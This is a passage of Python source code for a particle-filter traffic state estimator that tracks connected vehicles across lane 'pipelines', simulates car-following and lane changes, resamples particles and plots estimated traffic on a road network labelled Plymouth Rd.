new_pipeline_dict[pipeline_id].tail_length.append(internal_length)\r\n new_pipeline_dict[pipeline_id].exit_length[downstream_info[\"dir\"]] = \\\r\n link.length + internal_length\r\n\r\n # load the new pipeline object to the link\r\n self.links[link_id].pipelines = new_pipeline_dict\r\n\r\n # add the downstream pipeline\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n pipelines = link.pipelines\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n\r\n signal_list = pipeline.signal\r\n if signal_list is None:\r\n continue\r\n movement_list = pipeline.movement\r\n\r\n downstream_num = len(movement_list)\r\n downstream_pips = []\r\n downstream_links = []\r\n for t in range(downstream_num):\r\n local_movement = movement_list[t]\r\n local_signal = signal_list[t]\r\n movement = self.signals[local_signal].movements[local_movement]\r\n downstream_lane = movement.exit_lane\r\n downstream_link = movement.exit_link\r\n downstream_pipeline = self.links[downstream_link].get_lane_belonged_pipeline(downstream_lane)\r\n downstream_pips.append(downstream_pipeline)\r\n downstream_links.append(downstream_link)\r\n self.links[link_id].pipelines[pip_id].downstream_pipelines = downstream_pips\r\n self.links[link_id].pipelines[pip_id].downstream_links = downstream_links\r\n\r\n # set the arrival rate for each pipeline\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n pipelines = link.pipelines\r\n if link.link_type != \"source\":\r\n continue\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n if pipeline.start_dis < 5:\r\n pipeline.arrival_rate = link.particle_arrival / link.external_arrival_lanes\r\n\r\n @staticmethod\r\n def _load_demand_and_turning_ratio():\r\n demand_file = env_config.network_flow_file.split(\"./\")[-1]\r\n demand_tree = ET.ElementTree(file=demand_file)\r\n root = demand_tree.getroot()\r\n\r\n demand_dict = {}\r\n for subroot in root:\r\n origin_edge = subroot.attrib[\"from\"]\r\n demand_level = float(subroot.attrib[\"number\"]) / 3600.0\r\n demand_dict[origin_edge] = demand_level\r\n\r\n turning_file = env_config.turning_ratio_file.split(\"./\")[-1]\r\n turning_tree = ET.ElementTree(file=turning_file)\r\n root = turning_tree.getroot()\r\n\r\n turning_dict = {}\r\n for subroot in root:\r\n if subroot.tag == \"sink\":\r\n continue\r\n for subsubroot in subroot:\r\n upstream_edge = subsubroot.attrib[\"id\"]\r\n for _root in subsubroot:\r\n downstream_edge = _root.attrib[\"id\"]\r\n probability = _root.attrib[\"probability\"]\r\n\r\n if not (upstream_edge in turning_dict.keys()):\r\n turning_dict[upstream_edge] = {}\r\n turning_dict[upstream_edge][downstream_edge] = float(probability)\r\n break\r\n return demand_dict, turning_dict\r\n\r\n def _sort_vehicle_within_link(self):\r\n \"\"\"\r\n sort the vehicle within the link\r\n split into different pipeline\r\n :return:\r\n \"\"\"\r\n link_vehicle_dict = self.link_vehicle_dict\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n link.lane_change_events = {}\r\n\r\n # get the pipelines and segments of the link\r\n pipelines = link.pipelines\r\n segments = link.segments\r\n\r\n if not (link_id in link_vehicle_dict.keys()):\r\n continue\r\n vehicle_list = link_vehicle_dict[link_id][\"vehicles\"]\r\n\r\n pipeline_vehicle_dict = {}\r\n for vehicle_id in vehicle_list:\r\n vehicle = self.vehicles[vehicle_id]\r\n vehicle_lane = vehicle.lane_list[-1]\r\n vehicle_edge = self.lanes[vehicle_lane].edge_id\r\n vehicle_pos = vehicle.link_pos_list[-1]\r\n\r\n # get the segment\r\n segment_assigned = False\r\n for segment_id in segments.keys():\r\n segment_edges = segments[segment_id]\r\n if vehicle_edge in segment_edges:\r\n self.vehicles[vehicle_id].segment_list.append(segment_id)\r\n segment_assigned = True\r\n break\r\n if not segment_assigned:\r\n original_segment = self.vehicles[vehicle_id].segment_list[-1]\r\n self.vehicles[vehicle_id].segment_list.append(original_segment)\r\n\r\n # get the pipeline id\r\n pipeline_assigned = False\r\n for pipeline_id in pipelines:\r\n pipeline_lanes = pipelines[pipeline_id].lane_list\r\n if vehicle_lane in pipeline_lanes:\r\n self.vehicles[vehicle_id].pipeline_list.append(pipeline_id)\r\n pipeline_assigned = True\r\n\r\n if not (pipeline_id in pipeline_vehicle_dict.keys()):\r\n pipeline_vehicle_dict[pipeline_id] = {\"vehicles\": [], \"dis\": []}\r\n pipeline_vehicle_dict[pipeline_id][\"vehicles\"].append(vehicle_id)\r\n pipeline_vehicle_dict[pipeline_id][\"dis\"].append(vehicle_pos)\r\n\r\n if not pipeline_assigned:\r\n original_pipeline = self.vehicles[vehicle_id].pipeline_list[-1]\r\n self.vehicles[vehicle_id].pipeline_list.append(original_pipeline)\r\n if not (original_pipeline in pipeline_vehicle_dict.keys()):\r\n pipeline_vehicle_dict[original_pipeline] = {\"vehicles\": [], \"dis\": []}\r\n pipeline_vehicle_dict[original_pipeline][\"vehicles\"].append(vehicle_id)\r\n pipeline_vehicle_dict[original_pipeline][\"dis\"].append(vehicle_pos)\r\n\r\n # detect the lane-changing event\r\n if vehicle.cv_type:\r\n if len(vehicle.link_list) >= 2:\r\n if len(vehicle.pipeline_list) >= 2:\r\n if vehicle.link_list[-1] == vehicle.link_list[-2]: # remain in the same link\r\n if vehicle.pipeline_list[-1] != vehicle.pipeline_list[-2]: # different pipeline\r\n self.links[link_id].lane_change_events[vehicle_id] = \\\r\n [vehicle.pipeline_list[-2], vehicle.pipeline_list[-1],\r\n vehicle.link_pos_list[-1]]\r\n\r\n # sort the vehicle within different pipelines\r\n for pipeline_id in link.pipelines.keys():\r\n pipeline = link.pipelines[pipeline_id]\r\n\r\n # dump the current vehicle to the previous vehicle\r\n self.links[link_id].pipelines[pipeline_id].previous_vehicles = \\\r\n pipeline.vehicles\r\n if not (pipeline_id in pipeline_vehicle_dict.keys()):\r\n self.links[link_id].pipelines[pipeline_id].vehicles = [[], []]\r\n continue\r\n\r\n distance_list = pipeline_vehicle_dict[pipeline_id][\"dis\"]\r\n vehicle_id_list = pipeline_vehicle_dict[pipeline_id][\"vehicles\"]\r\n sequence = np.argsort(distance_list)\r\n new_vehicle_list = []\r\n new_distance_list = []\r\n for sdx in sequence:\r\n new_vehicle_list.append(vehicle_id_list[sdx])\r\n new_distance_list.append(distance_list[sdx])\r\n\r\n new_distance_list = [0] + new_distance_list + [link.length]\r\n\r\n # dump the vehicle to the pipeline\r\n cv_list = []\r\n non_cv_list = []\r\n cv_distance_list = []\r\n non_cv_distance_list = []\r\n for vid in new_vehicle_list:\r\n if self.vehicles[vid].cv_type:\r\n cv_list.append(vid)\r\n cv_distance_list.append(self.vehicles[vid].link_pos_list[-1])\r\n else:\r\n non_cv_list.append(vid)\r\n non_cv_distance_list.append(self.vehicles[vid].link_pos_list[-1])\r\n self.links[link_id].pipelines[pipeline_id].vehicles = [cv_list, cv_distance_list]\r\n\r\n # dump the vehicle to the pipeline dict\r\n for vdx in range(len(cv_list)):\r\n vid = cv_list[vdx]\r\n vdis = cv_distance_list[vdx]\r\n if not (vid in pipeline.cv_trajs.keys()):\r\n self.links[link_id].pipelines[pipeline_id].cv_trajs[vid] = [[], []]\r\n self.links[link_id].pipelines[pipeline_id].cv_trajs[vid][0].append(self.time_step)\r\n self.links[link_id].pipelines[pipeline_id].cv_trajs[vid][1].append(vdis)\r\n\r\n for vdx in range(len(non_cv_list)):\r\n vid = non_cv_list[vdx]\r\n vdis = non_cv_distance_list[vdx]\r\n if not (vid in pipeline.non_cv_trajs.keys()):\r\n self.links[link_id].pipelines[pipeline_id].non_cv_trajs[vid] = [[], []]\r\n self.links[link_id].pipelines[pipeline_id].non_cv_trajs[vid][0].append(self.time_step)\r\n self.links[link_id].pipelines[pipeline_id].non_cv_trajs[vid][1].append(vdis)\r\n\r\n new_vehicle_list = [None] + new_vehicle_list + [None]\r\n\r\n for vdx in range(len(new_vehicle_list) - 2):\r\n following_vehicle = new_vehicle_list[vdx]\r\n current_vehicle = new_vehicle_list[vdx + 1]\r\n leading_vehicle = new_vehicle_list[vdx + 2]\r\n following_dis = new_distance_list[vdx + 2] - new_distance_list[vdx + 1]\r\n leading_dis = new_distance_list[vdx + 1] - new_distance_list[vdx]\r\n self.vehicles[current_vehicle].leading_dis_list.append(leading_dis)\r\n self.vehicles[current_vehicle].leading_vehicle_list.append(leading_vehicle)\r\n self.vehicles[current_vehicle].following_dis_list.append(following_dis)\r\n self.vehicles[current_vehicle].following_vehicle_list.append(following_vehicle)\r\n\r\n # LESSON: DEEPCOPY COULD BE VERY VERY SLOW !!!!!\r\n # find the leading cv and following cv\r\n for vehicle_id in vehicle_list:\r\n # vehicle = self.vehicles[vehicle_id]\r\n time_out_max = 1000 # set a time out threshold,\r\n # forward search\r\n vehicle_cursor = vehicle_id\r\n count = 0\r\n while True:\r\n count += 1\r\n if count > time_out_max:\r\n exit(\"Time out error for finding the forward cv\")\r\n leading_vehicle = self.vehicles[vehicle_cursor].leading_vehicle_list[-1]\r\n if leading_vehicle is None:\r\n self.vehicles[vehicle_id].leading_cv_list.append(leading_vehicle)\r\n break\r\n leading_type = self.vehicles[leading_vehicle].cv_type\r\n if leading_type:\r\n self.vehicles[vehicle_id].leading_cv_list.append(leading_vehicle)\r\n break\r\n vehicle_cursor = leading_vehicle\r\n\r\n # backward search\r\n vehicle_cursor = vehicle_id\r\n count = 0\r\n while True:\r\n count += 1\r\n if count > time_out_max:\r\n exit(\"Time out error for finding the backward cv\")\r\n following_vehicle = self.vehicles[vehicle_cursor].following_vehicle_list[-1]\r\n if following_vehicle is None:\r\n self.vehicles[vehicle_id].following_cv_list.append(following_vehicle)\r\n break\r\n following_type = self.vehicles[following_vehicle].cv_type\r\n if following_type:\r\n self.vehicles[vehicle_id].following_cv_list.append(following_vehicle)\r\n break\r\n vehicle_cursor = following_vehicle\r\n\r\n for link_id in self.links.keys():\r\n self.links[link_id].update_turning_dict()\r\n\r\n def _output_particle_posterior(self):\r\n plt.figure(figsize=[13, 7])\r\n for edge_id in self.edges.keys():\r\n edge = self.edges[edge_id]\r\n for lane_id in edge.lanes_list:\r\n plt.plot(self.lanes[lane_id].shape[0], self.lanes[lane_id].shape[1], \"k-\", lw=1, alpha=0.5)\r\n if not os.path.exists(env_config.output_particle_folder):\r\n os.mkdir(env_config.output_particle_folder)\r\n\r\n # add the connected vehicles\r\n connected_x = []\r\n connected_y = []\r\n\r\n particle_x = []\r\n particle_y = []\r\n\r\n # add the particles\r\n for link_id in self.links.keys():\r\n link = self.links[link_id]\r\n pipelines = link.pipelines\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n if (self.time_step - 1) in pipeline.particle_history.keys():\r\n particle_location = pipeline.particle_history[self.time_step - 1]\r\n if len(particle_location) > 0:\r\n [x_list, y_list] = self._get_coordinates(link_id, pip_id, link_pos_list=particle_location)\r\n particle_x += x_list\r\n particle_y += y_list\r\n [_, distance_list] = pipeline.vehicles\r\n if len(distance_list) == 0:\r\n continue\r\n [x_list, y_list] = self._get_coordinates(link_id, pip_id, link_pos_list=distance_list)\r\n connected_x += x_list\r\n connected_y += y_list\r\n\r\n plt.plot(connected_x, connected_y, \"b.\")\r\n plt.plot(particle_x, particle_y, \"r.\")\r\n # plt.axis(\"off\")\r\n plt.tight_layout()\r\n plt.text(1900, 0, \"Plymouth Rd. Real-Time Traffic Time step \" + str(self.time_step), fontsize=14)\r\n plt.savefig(os.path.join(env_config.output_particle_folder, \"full\" + str(int(self.time_step))) + \".png\",\r\n dpi=300)\r\n plt.xlim([2915, 3500])\r\n plt.ylim([890, 1155])\r\n\r\n plt.text(3280, 900, \"Plymouth Rd/Green Real-Time Traffic Time step \" + str(self.time_step), fontsize=12)\r\n plt.savefig(os.path.join(env_config.output_particle_folder, \"zoom\" + str(int(self.time_step))) + \".png\",\r\n dpi=300)\r\n plt.close()\r\n\r\n def _get_coordinates(self, link_id, pip_id, link_pos_list):\r\n link = self.links[link_id]\r\n pipeline = link.pipelines[pip_id]\r\n lane_list = pipeline.lane_list\r\n\r\n x_list = []\r\n y_list = []\r\n for dis in link_pos_list:\r\n pip_dis = dis - pipeline.start_dis\r\n for lane_id in lane_list:\r\n lane = self.lanes[lane_id]\r\n if pip_dis <= lane.length:\r\n x, y = self._get_specific_location(lane.shape[0], lane.shape[1], pip_dis)\r\n if x is None:\r\n continue\r\n x_list.append(x)\r\n y_list.append(y)\r\n continue\r\n pip_dis -= lane.length\r\n return [x_list, y_list]\r\n\r\n @staticmethod\r\n def _get_specific_location(x_list, y_list, length):\r\n x_diff = np.abs(np.diff(x_list))\r\n y_diff = np.abs(np.diff(y_list))\r\n distance_list = np.sqrt(np.square(x_diff) + np.square(y_diff))\r\n for idx in range(len(distance_list)):\r\n local_length = distance_list[idx]\r\n if local_length >= length:\r\n proportion = length / local_length\r\n x = x_list[idx] * (1 - proportion) + x_list[idx + 1] * proportion\r\n y = y_list[idx] * (1 - proportion) + y_list[idx + 1] * proportion\r\n return x, y\r\n else:\r\n length -= local_length\r\n return None, None\r\n\r\n\r\nclass ParticleLink(Link):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.link_type = None\r\n self.lane_change_events = None\r\n\r\n self.external_arrival_lanes = 0\r\n self.ingress_lanes = None\r\n self.demand = None\r\n self.particle_arrival = None\r\n\r\n # turning ratio\r\n self.through = 0\r\n self.left_turn = 0\r\n self.right_turn = 0\r\n\r\n self.left_pipelines = []\r\n self.right_pipelines = []\r\n self.through_pipelines = []\r\n\r\n self.turning_info = None\r\n self.car_following = None\r\n\r\n def add_attributes(self):\r\n # turning ratio\r\n self.through = 0\r\n self.left_turn = 0\r\n self.right_turn = 0\r\n\r\n self.external_arrival_lanes = 0\r\n self.left_pipelines = []\r\n self.right_pipelines = []\r\n self.through_pipelines = []\r\n self.turning_info = None\r\n self.particle_arrival = None\r\n\r\n def particle_forward(self, time_step):\r\n if self.link_type == \"sink\" or self.link_type == \"wrong\":\r\n return\r\n pipelines = self.pipelines\r\n link_cv_list = []\r\n\r\n # ge the full list\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n [pr_cv_list, _] = pipeline.previous_vehicles\r\n link_cv_list += pr_cv_list\r\n\r\n # remove exit vehicles\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n\r\n # remove exit vehicles\r\n particle_key_list = list(pipeline.particles.keys())\r\n if len(particle_key_list) > 1:\r\n if not (particle_key_list[-1] in link_cv_list):\r\n # print(\"remove\", particle_key_list[-1], \"from\", pip_id, \"at\")\r\n del self.pipelines[pip_id].particles[particle_key_list[-1]]\r\n\r\n # perform a one-slot car following (prediction)\r\n self.step()\r\n\r\n for pip_id in pipelines.keys():\r\n pipeline = pipelines[pip_id]\r\n\r\n # [pr_cv_list, pr_cv_distance_list] = pipeline.previous_vehicles\r\n [cv_list, cv_distance_list] = pipeline.vehicles\r\n\r\n new_arrival = False\r\n # event: new arrival\r\n if len(cv_list) > 0:\r\n if not (cv_list[0] in link_cv_list):\r\n new_arrival = True\r\n\r\n # if there is no new arrival cv, then generate the arrival for particle\r\n if not new_arrival:\r\n self.pipelines[pip_id].generate_new_arrival(self.turning_info)\r\n else:\r\n # update the pipeline particle accordingly\r\n self.pipelines[pip_id].new_cv_arrived(cv_list[0], cv_distance_list[0])\r\n\r\n # deal with the lane changing\r\n self.sort_lane_changing_events()\r\n if len(self.lane_change_events) > 0:\r\n # print(self.lane_change_events)\r\n for cv_id in self.lane_change_events.keys():\r\n [from_pip, to_pip, cv_dis] = self.lane_change_events[cv_id]\r\n self.pipelines[from_pip].remove_cv(cv_id)\r\n self.pipelines[to_pip].insert_cv(cv_id, cv_dis)\r\n\r\n # save the particle to memory\r\n for pip_id in self.pipelines.keys():\r\n self.pipelines[pip_id].save_particle(time_step)\r\n\r\n def resample(self, particle_number):\r\n if self.link_type == \"wrong\" or self.link_type == \"sink\":\r\n return\r\n for pip_id in self.pipelines.keys():\r\n pipeline = self.pipelines[pip_id]\r\n [cv_list, cv_dis] = pipeline.vehicles\r\n [pr_cv_list, pr_cv_dis] = pipeline.previous_vehicles\r\n\r\n cv_dis_dict = {}\r\n for iv in range(len(cv_list)):\r\n cv_dis_dict[cv_list[iv]] = cv_dis[iv]\r\n pr_dis_dict = {}\r\n for iv in range(len(pr_cv_list)):\r\n pr_dis_dict[pr_cv_list[iv]] = pr_cv_dis[iv]\r\n\r\n # determine the weight of the particles\r\n particle_weights = [1 for temp in range(particle_number)]\r\n exit_length = np.min([pipeline.exit_length[val] for val in pipeline.exit_length.keys()] + [10000])\r\n\r\n particles = pipeline.particles\r\n vehicle_list = list(particles.keys())[1:] + [\"end\"]\r\n pr_dis_dict[\"end\"] = exit_length\r\n\r\n if len(vehicle_list) <= 2:\r\n continue\r\n for vid in range(len(vehicle_list) - 1):\r\n local_vid = vehicle_list[vid]\r\n if not (local_vid in cv_list):\r\n continue\r\n next_vid = vehicle_list[vid + 1]\r\n particle = particles[local_vid]\r\n\r\n cv_headway = pr_dis_dict[next_vid] - pr_dis_dict[local_vid]\r\n following_speed = cv_dis_dict[local_vid] - pr_dis_dict[local_vid]\r\n\r\n for pdx in range(particle_number):\r\n [locations, _] = particle[pdx]\r\n if len(locations) > 1:\r\n headway = locations[0] - pr_dis_dict[local_vid]\r\n else:\r\n headway = cv_headway\r\n local_weight = self.car_following.get_weight(headway, following_speed)\r\n particle_weights[pdx] *= local_weight\r\n\r\n resampled_particle = self.get_resample_particle(particle_weights)\r\n new_particles = {}\r\n for vid in particles.keys():\r\n if not (vid in new_particles.keys()):\r\n new_particles[vid] = []\r\n for pdx in range(particle_number):\r\n new_particles[vid].append(particles[vid][resampled_particle[pdx]])\r\n pipeline.particles = new_particles\r\n\r\n @staticmethod\r\n def get_resample_particle(particle_weights):\r\n # normalize the weight\r\n total_weights = np.sum(particle_weights)\r\n\r\n weight_list = [val / total_weights for val in particle_weights]\r\n cdf_curve = np.cumsum(weight_list)\r\n\r\n # re-sample\r\n random_number = uniform.rvs()\r\n new_particles = []\r\n\r\n sample_size = len(particle_weights)\r\n\r\n for idx in range(sample_size):\r\n current_val = (random_number + idx) / sample_size\r\n for jdx in range(len(cdf_curve)):\r\n current_weight = cdf_curve[jdx]\r\n if current_weight >= current_val:\r\n new_particles.append(jdx)\r\n break\r\n return new_particles\r\n\r\n def convert_coordinates(self, particle_number):\r\n for pip_id in self.pipelines.keys():\r\n pipeline = self.pipelines[pip_id]\r\n [_, cv_distance] = pipeline.vehicles\r\n vehicles_locations = [deepcopy(cv_distance) for val in range(particle_number)]\r\n particles = pipeline.particles\r\n for cv_id in particles.keys():\r\n cv_particles = particles[cv_id]\r\n for ip in range(particle_number):\r\n [locs, _] = cv_particles[ip]\r\n vehicles_locations[ip] += locs\r\n vehicles_nums = [len(val) for val in vehicles_locations]\r\n maximum_nums = max(pipeline.length / 7 - 3, 3)\r\n spillover = [val > maximum_nums for val in vehicles_nums]\r\n spillover_prob = np.average(spillover)\r\n if spillover_prob > 0.5:\r\n # print(\"spillover alert\", pipeline.length, self.link_id, vehicles_nums)\r\n pass\r\n pipeline.spillover = spillover\r\n pipeline.spillover_prob.append(spillover_prob)\r\n # print(self.pipelines[pip_id].spillover_prob)\r\n\r\n def sort_lane_changing_events(self):\r\n if len(self.lane_change_events) <= 1:\r\n return\r\n new_lane_changing_events = {}\r\n v_list = []\r\n dis_list = []\r\n for v_id in self.lane_change_events.keys():\r\n v_list.append(v_id)\r\n dis_list.append(self.lane_change_events[v_id][2])\r\n sequence_list = np.argsort(dis_list)\r\n new_v_list = []\r\n for s in sequence_list:\r\n new_v_list.append(v_list[s])\r\n for v_id in new_v_list:\r\n new_lane_changing_events[v_id] = self.lane_change_events[v_id]\r\n self.lane_change_events = new_lane_changing_events\r\n\r\n def update_turning_dict(self):\r\n if self.link_type == \"sink\":\r\n self.turning_info = None\r\n return\r\n\r\n ratio_list = [self.left_turn, self.through, self.right_turn]\r\n pipeline_list = [self.left_pipelines, self.through_pipelines, self.right_pipelines]\r\n self.turning_info = [ratio_list, pipeline_list]\r\n\r\n def step(self):\r\n pipeline_dict = {}\r\n for pip_id in self.pipelines.keys():\r\n pipeline = self.pipelines[pip_id]\r\n pipeline_dict[pipeline.index] = pipeline.id\r\n\r\n # stochastic car-following model\r\n for pip_id in self.pipelines.keys():\r\n pipeline = self.pipelines[pip_id]\r\n particles = pipeline.particles\r\n direction = pipeline.direction\r\n pipeline.outflow = {}\r\n\r\n for i_dir in direction:\r\n self.pipelines[pip_id].outflow[i_dir] = [None] * pipeline.particle_number\r\n\r\n [cv_list, cv_distance_list] = deepcopy(pipeline.previous_vehicles)\r\n downstream_num = len(direction)\r\n downstream_dis = pipeline.downstream_dis\r\n\r\n particle_keys = list(particles.keys())\r\n\r\n # check cv list\r\n if particle_keys[1:] != cv_list:\r\n if set(particle_keys[1:]) == set(cv_list):\r\n # print(\"correct sequence\")\r\n # print(\"particle keys\", particle_keys[1:])\r\n # print(\"cv list\", cv_list, cv_distance_list)\r\n # correct the sequence\r\n new_keys_list = [\"start\"] + cv_list\r\n new_particles = {}\r\n for i_v in new_keys_list:\r\n new_particles[i_v] = particles[i_v]\r\n self.pipelines[pip_id].particles = new_particles\r\n particle_keys = new_keys_list\r\n else:\r\n # print(\"\\n report error information\")\r\n # print(self.link_id, pip_id, \"not consistent\")\r\n # print(cv_list, cv_distance_list)\r\n # print(particle_keys[1:])\r\n # print(self.lane_change_events)\r\n exit(\"not consistent error!\")\r\n\r\n for i_p in range(len(cv_list) + 1):\r\n if i_p == len(cv_list):\r\n last_distance = False\r\n else:\r\n last_distance = cv_distance_list[i_p]\r\n cv_id = particle_keys[i_p]\r\n local_particles = particles[cv_id]\r\n\r\n for pdx in range(pipeline.particle_number):\r\n [location_list, lane_change_list] = local_particles[pdx]\r\n\r\n # skip when there is no vehicle of the particle\r\n if len(location_list) == 0:\r\n continue\r\n\r\n new_lane_change_list = lane_change_list\r\n\r\n # if not the last, only car-following\r\n if last_distance:\r\n new_location_list = \\\r\n self.car_following.sample_next_locations(location_list + [last_distance], None, 1)\r\n else:\r\n # determine the turning flag\r\n direction_flag = direction\r\n if downstream_num > 1:\r\n if lane_change_list[-1] is None:\r\n direction_flag = \"s\"\r\n else:\r\n direction_flag = \"r\"\r\n\r\n if downstream_dis is None:\r\n last_distance = 2 * self.length\r\n else:\r\n last_distance = downstream_dis[direction_flag][pdx]\r\n new_location_list = \\\r\n self.car_following.sample_next_locations(location_list + [last_distance], None, 1)\r\n\r\n exit_length = pipeline.exit_length[direction_flag]\r\n outreach_length = new_location_list[-1] - exit_length\r\n\r\n # put the vehicle to out flow\r\n if outreach_length > 0:\r\n self.pipelines[pip_id].outflow[direction_flag][pdx] = outreach_length\r\n new_location_list = new_location_list[:-1]\r\n new_lane_change_list = lane_change_list[:-1]\r\n location_list = location_list[:-1]\r\n lane_change_list = lane_change_list[:-1]\r\n\r\n # self.pipelines[pip_id].particles[cv_id][pdx] = [new_location_list, new_lane_change_list]\r\n # continue\r\n\r\n latest_locations = []\r\n latest_lane_infos = []\r\n\r\n # deal with the lane change from the inverse direction\r\n spillover = False\r\n for i_v in range(len(new_location_list)):\r\n if spillover: # if spill over occurs, there will be no lane changing\r\n location = location_list[::-1][i_v]\r\n lane_change = lane_change_list[::-1][i_v]\r\n else:\r\n location = new_location_list[::-1][i_v]\r\n lane_change = new_lane_change_list[::-1][i_v]\r\n\r\n # keep in the lane\r\n if lane_change is None:\r\n latest_locations.append(location)\r\n latest_lane_infos.append(lane_change)\r\n continue\r\n if lane_change == pipeline.index:\r\n latest_locations.append(location)\r\n latest_lane_infos.append(lane_change)\r\n continue\r\n current_index = pipeline.index\r\n dest_pip_id = int(current_index + np.sign(lane_change - current_index))\r\n dest_pip_id = pipeline_dict[dest_pip_id]\r\n destination_pipeline = self.pipelines[dest_pip_id]\r\n start_dis = destination_pipeline.start_dis\r\n\r\n # keep in the lane\r\n if location < start_dis - 7:\r\n latest_locations.append(location)\r\n latest_lane_infos.append(lane_change)\r\n continue\r\n\r\n [destination_cv, destination_dis] = destination_pipeline.vehicles\r\n if spillover:\r\n latest_locations.append(location_list[::-1][i_v])\r\n latest_lane_infos.append(lane_change_list[::-1][i_v])\r\n continue\r\n else:\r\n downstream_spillover = destination_pipeline.spillover[pdx]\r\n if downstream_spillover:\r\n spillover = True\r\n latest_locations.append(location_list[::-1][i_v])\r\n latest_lane_infos.append(lane_change_list[::-1][i_v])\r\n continue\r\n else:\r\n # directly move the vehicle to the destination link\r\n insert_index = 0\r\n for i_dis in range(len(destination_dis)):\r\n if location > destination_dis[i_dis]:\r\n insert_index = i_dis\r\n break\r\n destination_cv_list = [\"start\"] + destination_cv\r\n insert_cv = destination_cv_list[insert_index]\r\n [dest_dis, dest_lane] = self.pipelines[dest_pip_id].particles[insert_cv][pdx]\r\n\r\n if len(dest_dis) == 0:\r\n new_dest_dis, new_dest_lane = [location], [lane_change]\r\n else:\r\n insert_index = 0\r\n for i_dis in range(len(dest_dis)):\r\n if location < dest_dis[i_dis]:\r\n insert_index = i_dis\r\n break\r\n new_dest_dis = dest_dis[:insert_index] + [location] + dest_dis[insert_index:]\r\n new_dest_lane = dest_lane[:insert_index] + [lane_change] + dest_lane[\r\n insert_index:]\r\n\r\n self.pipelines[dest_pip_id].particles[insert_cv][pdx] = [new_dest_dis,\r\n new_dest_lane]\r\n self.pipelines[pip_id].particles[cv_id][pdx] = [latest_locations[::-1], latest_lane_infos[::-1]]\r\n\r\n def get_lane_belonged_pipeline(self, lane_id):\r\n for pip_id in self.pipelines.keys():\r\n pipeline = self.pipelines[pip_id]\r\n lane_list = pipeline.lane_list\r\n if lane_id in lane_list:\r\n return pip_id\r\n return None\r\n\r\n\r\nclass PipeLine(object):\r\n \"\"\"\r\n pipeline is for each continuous lane\r\n \"\"\"\r\n def __init__(self, pipeline_id, lane_list, particle_number):\r\n self.particle_number = particle_number\r\n self.id = pipeline_id\r\n self.index = int(pipeline_id[-1])\r\n self.lane_list = lane_list\r\n\r\n self.arrival_rate = 0\r\n self.length = None\r\n self.start_dis = None\r\n self.tail_length = None\r\n\r\n self.exit_length = {}\r\n self.direction = None\r\n self.signal = None\r\n self.movement = None\r\n self.downstream_links = None\r\n self.downstream_pipelines = None\r\n\r\n self.downstream_dis = None\r\n self.outflow = None\r\n self.upstream_arrival = None\r\n self.spillover = False\r\n self.spillover_prob = []\r\n\r\n # real-time state\r\n self.vehicles = [[], []]\r\n self.previous_vehicles = [[], []]\r\n\r\n self.cv_trajs = {}\r\n self.non_cv_trajs = {}\r\n self.particle_history = {}\r\n\r\n # particles\r\n # start ----- cv1 ----- cv2 ----- ...\r\n # {\"start\": [[distance1 < distance2 <...], [dest_pip1, dest_pip2, ...]]}\r\n self.particles = {\"start\": [[[], []]] * particle_number}\r\n\r\n def new_cv_arrived(self, cv_id, cv_dis):\r\n old_keys = list(self.particles.keys())\r\n new_keys = old_keys[:1] + [cv_id] + old_keys[1:]\r\n self.previous_vehicles[0] = [cv_id] + self.previous_vehicles[0]\r\n self.previous_vehicles[1] = [cv_dis] + self.previous_vehicles[1]\r\n # print(\"add\", cv_dis, cv_id, self.id)\r\n\r\n new_particles = {}\r\n for ik in new_keys:\r\n if ik == \"start\":\r\n new_particles[ik] = [[[], []]] * self.particle_number\r\n continue\r\n if ik == cv_id:\r\n new_particles[cv_id] = self.particles[\"start\"]\r\n continue\r\n new_particles[ik] = self.particles[ik]\r\n self.particles = new_particles\r\n\r\n def generate_new_arrival(self, turning_info):\r\n [ratio_list, pip_list] = turning_info\r\n\r\n arrival_rate = self.arrival_rate\r\n # generate the arrival series\r\n if arrival_rate is not None and arrival_rate > 0:\r\n arrival_seeds = uniform.rvs(size=self.particle_number)\r\n arrival_list = [val < arrival_rate for val in arrival_seeds]\r\n else:\r\n if self.upstream_arrival is None:\r\n return\r\n arrival_list = self.upstream_arrival\r\n\r\n # generate the turning series\r\n turning_seeds = uniform.rvs(size=self.particle_number)\r\n pip_seeds = [int(val * 10) for val in turning_seeds]\r\n\r\n for ip in range(self.particle_number):\r\n if arrival_list[ip]:\r\n self.particles[\"start\"][ip][0] = [arrival_list[ip] - 1] + self.particles[\"start\"][ip][0]\r\n\r\n if turning_seeds[ip] < ratio_list[0]:\r\n local_pips = [int(val[-1]) for val in pip_list[0]]\r\n chosen_pip = local_pips[pip_seeds[ip] % len(local_pips)]\r\n direction = \"l\"\r\n elif ratio_list[0] < turning_seeds[ip] < (ratio_list[0] + ratio_list[1]):\r\n local_pips = [int(val[-1]) for val in pip_list[1]]\r\n chosen_pip = local_pips[pip_seeds[ip] % len(local_pips)]\r\n direction = \"s\"\r\n else:\r\n local_pips = [int(val[-1]) for val in pip_list[2]]\r\n chosen_pip = local_pips[pip_seeds[ip] % len(local_pips)]\r\n direction = \"r\"\r\n\r\n # the vehicle will only turn when necessary\r\n if not (direction in self.direction):\r\n self.particles[\"start\"][ip][1] = [chosen_pip] + self.particles[\"start\"][ip][1]\r\n else:\r\n self.particles[\"start\"][ip][1] = [None] + self.particles[\"start\"][ip][1]\r\n return 0\r\n\r\n def insert_cv(self, cv_id, cv_dis):\r\n pr_distance_list = [0] + self.previous_vehicles[1]\r\n pr_vehicle_list = list(self.particles.keys())\r\n insert_cv_index = len(pr_distance_list)\r\n for idx in range(len(pr_distance_list)):\r\n if cv_dis < pr_distance_list[idx]:\r\n insert_cv_index = idx\r\n break\r\n new_cv_list = pr_vehicle_list[:insert_cv_index] + [cv_id] + pr_vehicle_list[insert_cv_index:]\r\n new_dis_list = pr_distance_list[:insert_cv_index] + [cv_dis] + pr_distance_list[insert_cv_index:]\r\n self.previous_vehicles[0] = new_cv_list[1:]\r\n self.previous_vehicles[1] = new_dis_list[1:]\r\n\r\n split_cv = 